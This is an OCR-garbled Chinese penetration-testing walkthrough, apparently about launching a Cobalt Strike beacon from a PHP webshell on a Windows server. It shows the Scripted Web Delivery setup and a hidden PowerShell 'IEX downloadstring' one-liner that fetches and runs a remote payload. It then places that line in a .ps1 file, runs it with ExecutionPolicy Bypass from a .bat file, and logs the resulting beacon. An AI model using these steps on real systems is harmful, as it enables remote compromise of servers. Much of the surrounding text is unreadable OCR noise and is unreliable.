Y5t
MECEER T —H L4 1 webshell, HZEFHEE FL cs, X FAH powershell 14k, {HE
webshell 1% F 5 ToiE AT powershell 4>

SR cs Y web Drive-by £ —NEL D
ﬂttacks;-ﬁepa&ihg .ﬂgip AboutMe CrossC2

Packages rﬁl@ﬁé@l@il!

1cb Drive.oy » [N 7
Spear Phish | clone site 3
258 Host File 13
i Scripted Web Delivery (S) =
36 ovoe e Signed Applet Attack\ 2
Smart Applet Attack
System Profiler
X HIASRE R cs 1Y ip Hutik
¥ Scripted Web Delivery (S) - O

This attack hosts an artifact that delivers a full Cobalt =
Strike payload. The provided one-liner will allow youto

URIPath: |/a

Local Host: |your ip

|
|
Local Port: |80 ]
|
l

Listener: [ [
Type: [powershell -
x64: [ Use x64 payload

[ Launch H Help l

RJG cs M — %4

B |

] Success e |

Started service: Scripted Web Delive
Copy and paste this URL to access it

iew-object net.webclient) downloads

[0k

FHITR, RIEHINGE] webshell & B T H 44T




C:\phpStudy\PHPTutorial \WWW\public>

C:\phpStudy\PHPTutorial \WWW\public> powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('
)"

AE_LZkng ? JEARE

FKHT cs 1) Event Log & A #L & N LB ET R R

S AE B S 24 By 4% 5 A

C: \phpStudy \PFHPTutorial \WWW\publick> powershell
C:\phpStudy \PEPTutorial \WWW\public>

TR 2R, AR T F—47, BHINFR powershell #5i% Bk k

WA BN TH, el HKiEAT
UKBEIX B A B Am AR )

&K

FEARIE emd #ITCIEPAT

MHBLY
F AT

At 1 R A0L 2% g
Bl s, A EAEITHER

, A EFAEITHRER

. TREEFT A WA .

FIFEEA— R L, — FAT.
EHAZXRAEY T, BEER AR LGRS .
PRI B8 TR TR0, R BT AR, A ROR TS Lo

2, EEIXPIRPE, B REARAEA R IRESE FE TR
WA EHL, AT



tion0000000000E0O0O0

PERGER), — IR

Powershell HiX—F, T ULHiAL powershell, {HZKIHTCZ 4k
i i he

MEA;
SEfR AT T IR powershell B A5 B T6 1Y ] /85

REA LAV BIRE A B AE T J AT — NEFE

S B COARHULER ) powershell 7E W
powershell.exe

k= #EiE
" Critical_ powershell.exe 32b8b8e24ab.. C)\ProgramData\Microsoft\Windows\WER\ReportArchive
" Critical_powershell.exe 32b8b8e24ab... C)\ProgramData\Microsoft\Windows\WER\ReportArchive
" Critical powershell.exe 32b8b8e24ab... C:\ProgramData\Microsoft\Windows\WER\ReportArchive
" Critical_powershell.exe 32b8b8e24ab... C)\ProgramData\Microsoft\Windows\WER\ReportArchive

E¥ powershell.exe CAWindows\System32\WindowsPowerShell\w1.0

E¥ powershell.exe CAWindows\SysWOWB4\WindowsPowerShell\w1.0

EY powershell.exe CAWindows\Win5xS\amd64 microsoft-windows-powershell-exe 31bf...
E¥ powershell.exe CAWindows\WinSxS\wow6t4_microsoft-windows-powershell-exe 31bf...

SNJE BERV) 2 H S HLES (0 PTAEBR A2 T 1 powershell 25

WA R, R BT 1, =3k webshell & F T B &S0 PLRINIZ 1T powershell

REPMA AT

(BRI T — AN, A& cs AYJEZE ) powershell & 4528 ok B 24
XESFN R RE T, iR 22
N T BAESEI . EARE SR H AR HLEE LT powershell i<

136 (WIN7)

A UUE B % 2%



N T RPN AR, X R P U 2 vk
1. fEHFRMLEE L5 —A fuck.psl 3

[ fuckpsi 2022-04-25 09:18:00 80b 0666
O] % U/ Users/1eo/ DesKtop/ Tuck.ps1

C:/Users/len/Desktop/fuck.ps1
1 IEX ((new-object net.webclient).downloadstring(

sSESip~"

2. 1E Webshell 1% #2178 FH powershell $147

//powershell -ExecutionPolicy Bypass -File payload.ps1
C: \WWindows\SysWiW64 \WindowsPower5hel1\vl . 0> powershell.exe -ExecutionPolicy Bypass -File fuck.psl

WIA T 4

AFWRE R, B> bat X, ARJRIE LKy BRI %

C:/Windows/SysWowed/WindowsPowerShell/v1.0/1.bat

1 powershell -ExecutionPolicy Bypass -File fuck.psl

SRIGIEAT bat X1

C: \Windows\SysWOWe4 \WindowsPowerShell\wvl. 0> l.bat

C:\Windows\ SysiHOW&4\WindowsPowerShell\vl. 0>powershell -ExecutionPolicy Bypass -File fuck.psl

XHEER, HI L.
B! ERUAFARE !

pAf25 05:40:37 *+** jpnitial beacon from Llec

gtk KIAWKAEUR L, JRAMT
WELR Y, XML, R U ELR, NUAT, RERM.

HSZ U S H powershell, exe FZRIEZIR TR, X B HE/EN— powershell |- Z& 1) &
YESE HORIR TS

XFh X R, WA LA, ST, s A N SR,
o] ) SR A TR R B AR X B, FE R R A S RS k.

done



